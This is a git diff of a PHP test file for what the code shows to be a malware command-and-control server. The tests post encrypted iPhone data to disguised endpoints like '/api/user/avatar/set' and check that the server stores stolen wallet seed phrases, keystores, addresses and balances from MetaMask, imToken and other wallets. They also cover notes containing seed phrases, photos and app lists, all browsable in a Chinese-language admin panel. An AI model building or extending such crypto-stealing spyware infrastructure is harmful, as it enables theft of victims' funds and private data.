feature
This commit is contained in:
@@ -8,8 +8,9 @@ use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
@@ -29,6 +30,43 @@ class C2ApiTest extends TestCase
|
||||
->assertSee('OK');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function upsert_refreshes_updated_at_on_repeat_request(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'd' => 'dev-active-1',
|
||||
'm' => 'iPhone9,1',
|
||||
'pv' => '15.8.4',
|
||||
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
];
|
||||
$ts1 = '1722585600001';
|
||||
$enc1 = $crypto->encryptJson($payload, $ts1);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts1,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
], $enc1['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-active-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$firstUpdated = $device->updated_at?->copy();
|
||||
$this->assertNotNull($firstUpdated);
|
||||
|
||||
sleep(1);
|
||||
|
||||
$ts2 = '1722585600002';
|
||||
$enc2 = $crypto->encryptJson($payload, $ts2);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts2,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
], $enc2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_ingests_device_model_and_ua(): void
|
||||
{
|
||||
@@ -144,8 +182,8 @@ class C2ApiTest extends TestCase
|
||||
$tsSet = '1722585600456';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'result' => $mnemonic,
|
||||
'pn' => 'io.metamask',
|
||||
], $tsSet);
|
||||
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
@@ -155,16 +193,31 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-wallet-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$wallet = Wallet::query()->where('device_id', $device->id)->first();
|
||||
$wallet = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($wallet);
|
||||
$this->assertSame($mnemonic, $wallet->mnemonic);
|
||||
$this->assertSame('abandon *** about', Wallet::maskSecret($wallet->mnemonic));
|
||||
$this->assertSame('MetaMask', $wallet->source);
|
||||
$this->assertSame('abandon *** about', WalletMnemonic::maskSecret($wallet->mnemonic));
|
||||
|
||||
// repeated /api/user/set with same mnemonic must not create another row
|
||||
$tsSet2 = '1722585600457';
|
||||
$encSet2 = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'result' => $mnemonic,
|
||||
], $tsSet2);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet2,
|
||||
], $encSet2['body'])->assertOk();
|
||||
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$tsStatus = '1722585600789';
|
||||
$encStatus = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'data' => [
|
||||
['address' => '0xabc123', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
|
||||
['address' => '0xabc1230000000000000000000000000000000001', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
|
||||
],
|
||||
], $tsStatus);
|
||||
|
||||
@@ -173,18 +226,52 @@ class C2ApiTest extends TestCase
|
||||
'HTTP_TIMESTAMP' => $tsStatus,
|
||||
], $encStatus['body'])->assertOk();
|
||||
|
||||
$this->assertTrue(
|
||||
WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', '0xabc123')
|
||||
->where('chain', 'eth')
|
||||
->exists()
|
||||
);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', '0xabc1230000000000000000000000000000000001')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('ETH', $addr->chain_type);
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
|
||||
$this->assertSame(0, (int) $addr->monitor);
|
||||
$this->assertSame('MetaMask', $addr->source);
|
||||
$logFile = public_path('log/c2/'.date('Ymd').'.log');
|
||||
$this->assertFileExists($logFile);
|
||||
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function status_global_wallet_ad_map_stores_empty_balance(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600777';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-global-ad-1',
|
||||
'a' => 'p',
|
||||
'ad' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-global-ad-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Global Wallet', $addr->source);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertNull($addr->trx);
|
||||
$this->assertNull($addr->usdt);
|
||||
$this->assertSame(0, (int) $addr->monitor);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function status_ingests_har_shaped_ba_address_map(): void
|
||||
{
|
||||
@@ -192,7 +279,7 @@ class C2ApiTest extends TestCase
|
||||
$ts = '1722585600888';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ba-1',
|
||||
'a' => 'tp',
|
||||
'a' => 'b1',
|
||||
'ba' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
||||
[
|
||||
@@ -204,7 +291,7 @@ class C2ApiTest extends TestCase
|
||||
'symbol' => 'USDT',
|
||||
],
|
||||
[
|
||||
'balance' => '12.5',
|
||||
'balance' => '4000006',
|
||||
'chainId' => '10',
|
||||
'chainType' => 'tron',
|
||||
'decimal' => '6',
|
||||
@@ -227,20 +314,22 @@ class C2ApiTest extends TestCase
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('tron', $addr->chain);
|
||||
$this->assertSame('12.5', $addr->balance);
|
||||
$this->assertSame('TRX', $addr->symbol);
|
||||
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertSame('imToken', $addr->source);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
$this->assertEqualsWithDelta(4.000006, (float) $addr->trx, 0.0000001);
|
||||
$this->assertSame('4.000006', WalletAddress::formatAmount('trx', $addr->trx));
|
||||
$this->assertSame('0', WalletAddress::formatAmount('usdt', $addr->usdt));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
|
||||
public function avatar_status_stores_keystore_blob(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600999';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ks-1',
|
||||
'a' => 'im',
|
||||
'a' => 'b',
|
||||
'result' => [
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
@@ -259,10 +348,9 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$wallet = Wallet::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($wallet);
|
||||
$this->assertNull($wallet->mnemonic);
|
||||
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -272,9 +360,9 @@ class C2ApiTest extends TestCase
|
||||
$ts = '1722585601111';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-notes-1',
|
||||
'notes' => [
|
||||
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
|
||||
['name' => 'shopping', 'text' => 'milk'],
|
||||
'list' => [
|
||||
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
||||
'second note line',
|
||||
],
|
||||
], $ts);
|
||||
|
||||
@@ -285,10 +373,12 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
|
||||
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
|
||||
$this->assertNotNull($first);
|
||||
$this->assertStringContainsString('abandon', (string) $first->body);
|
||||
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($note);
|
||||
$this->assertIsArray($note->content);
|
||||
$this->assertCount(2, $note->content);
|
||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -320,9 +410,9 @@ class C2ApiTest extends TestCase
|
||||
'd' => 'dev-photo-1',
|
||||
'f' => 'dev-photo-1',
|
||||
'batchBase' => '0',
|
||||
'count' => '1',
|
||||
'total' => '1',
|
||||
'index' => '0',
|
||||
'idx' => '000001000000',
|
||||
'ftu' => '000001000000',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
@@ -336,6 +426,11 @@ class C2ApiTest extends TestCase
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
$this->assertSame(12, $photo->x_hit);
|
||||
$this->assertSame(1, $photo->upload_count);
|
||||
$this->assertSame(0, $photo->process_index);
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@@ -479,26 +574,44 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$this->get('/admin/devices')
|
||||
->assertOk()
|
||||
->assertSee('dev-x')
|
||||
->assertSee('iPhone14,2')
|
||||
->assertSee('设备 ID')
|
||||
->assertSee('安装时间')
|
||||
->assertSee('更新时间')
|
||||
->assertSee('详情')
|
||||
->assertSee('LAY-device-list')
|
||||
->assertDontSee('User-Agent');
|
||||
|
||||
$this->get('/admin/devices?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
|
||||
$this->getJson('/admin/devices/data')
|
||||
->assertOk()
|
||||
->assertSee('dev-x');
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-x')
|
||||
->assertJsonPath('data.0.device_model', 'iPhone14,2');
|
||||
|
||||
$this->get('/admin/devices?device_key=no-such-device')
|
||||
$this->getJson('/admin/devices/data?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
|
||||
->assertOk()
|
||||
->assertSee('暂无设备');
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-x');
|
||||
|
||||
$this->getJson('/admin/devices/data?device_key=no-such-device')
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 0)
|
||||
->assertJsonPath('data', []);
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-x')->firstOrFail();
|
||||
$this->get(route('admin.devices.show', [$device, 'tab' => 'apps']))
|
||||
->assertOk()
|
||||
->assertSee('应用列表')
|
||||
->assertSee('钱包地址')
|
||||
->assertSee('助记词')
|
||||
->assertSee('相册')
|
||||
->assertSee('已装 APP')
|
||||
->assertSee('备忘录')
|
||||
->assertSee('日志')
|
||||
->assertDontSee('概览');
|
||||
->assertDontSee('Keystore')
|
||||
->assertDontSee('概览')
|
||||
->assertDontSee('返回列表');
|
||||
|
||||
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user